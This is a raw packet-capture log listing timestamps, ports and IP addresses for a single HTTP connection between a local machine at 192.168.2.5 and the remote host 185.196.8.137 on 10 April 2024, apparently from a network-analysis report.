Apr 10, 2024 10:24:11.585529089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.585561991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.585563898 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.585596085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.585618019 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.585720062 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.585788012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.585799932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.585807085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.585807085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.585810900 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.585822105 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.585823059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.585901022 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.585906029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.585906029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.586035967 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586087942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.586110115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586122036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586210012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.586313009 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586391926 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586447001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586570978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.586570978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.586572886 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586584091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586663961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.586664915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.586776018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586786032 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586816072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.586954117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.586965084 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587007999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.587007999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.587018013 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587268114 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587279081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587289095 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587297916 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587312937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.587383986 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587439060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.587439060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.587447882 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587570906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587580919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587724924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587742090 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.587743044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.587755919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587846994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.587846994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.587873936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.587909937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.588072062 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.588149071 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.588222980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.588284016 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.588294029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.588334084 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.588342905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.588376045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.588681936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.588696003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.588812113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.588821888 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.588845015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.588845015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.588956118 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589071989 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589195013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.589195013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.589270115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589281082 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589323997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.589374065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589543104 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589555025 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589653969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.589664936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589692116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.589751005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.589771032 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589843988 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589891911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.589904070 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589912891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589921951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589941978 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589952946 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.589956045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.589956045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.589978933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.589998960 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.590013981 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590063095 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590101957 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.590130091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590214014 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590230942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.590260983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.590274096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590284109 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590342999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.590857029 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590898037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590908051 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590918064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590926886 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590935946 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.590954065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.590954065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.591006041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.591006041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.591023922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.591167927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.591248035 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.591267109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.591531992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.591605902 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.591609001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.591653109 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.591661930 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.591692924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.591692924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.591733932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.591739893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.591891050 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.591949940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.592076063 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.592149973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.592246056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.592246056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.592257977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.592447042 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.592735052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.592735052 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.592735052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.592775106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.592789888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.592814922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.592832088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.592900991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.592902899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.592988014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.593097925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593142033 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593180895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.593180895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.593202114 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593249083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593261003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593291998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.593291998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.593302011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593305111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.593349934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.593413115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593424082 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593508959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.593596935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593728065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593729019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.593780994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593952894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.593955040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.593955040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.594050884 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594176054 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594187975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594197035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.594197035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.594244003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.594393015 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594448090 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594459057 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594468117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594496012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.594614029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.594620943 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594631910 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594700098 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594713926 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594722986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.594722986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.594929934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594940901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594949961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.594966888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.595081091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595202923 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595212936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595221043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.595221043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.595221043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.595314026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595315933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.595324993 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595359087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.595359087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.595436096 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595515966 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595567942 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595802069 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595818043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.595838070 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595876932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.595879078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.595879078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.596028090 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.596038103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.596108913 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.596112013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.596112013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.596194983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.596241951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.596591949 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.596601963 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.596673012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.596692085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.596692085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.596774101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.596784115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.596843958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.596843958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.596915960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.596988916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.596997976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.597027063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.597110987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.597204924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.630933046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.631697893 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.631939888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.631939888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.631939888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.632299900 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.632427931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.632738113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.632740974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.632740974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.632869005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.632869005 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.632982016 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.632983923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.633124113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.633229971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.633240938 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.633378029 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.633400917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.633609056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.633713961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.633725882 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.633735895 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.633793116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.633793116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.633899927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.634077072 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.634115934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.634134054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.634303093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.634347916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.634367943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.634486914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.634599924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.634896994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.634898901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.635035992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.635677099 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.636243105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.636264086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.636467934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.636578083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.636603117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.636603117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.636734962 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.636964083 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.637006044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.637006044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.637036085 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.637178898 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.637214899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.637214899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.637382984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.637856960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.638062000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.638216972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.638216972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.638317108 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.638329029 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.638448954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.638535976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.638665915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.638920069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.639384985 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.639466047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.639523983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.639523983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.639600039 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.639763117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.639893055 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.639911890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.639911890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.640136003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.640240908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.640244961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.640358925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.640600920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.640655994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.640655994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.640736103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.640940905 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.641031981 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.641052961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.641052961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.641222000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.641299963 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.641360044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.641360044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.641407013 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.641494036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.641607046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.641624928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.641624928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.641650915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.641793966 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.642024040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.642077923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.642077923 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.642257929 CEST	80	49718	185.196.8.137	192.168.2.5
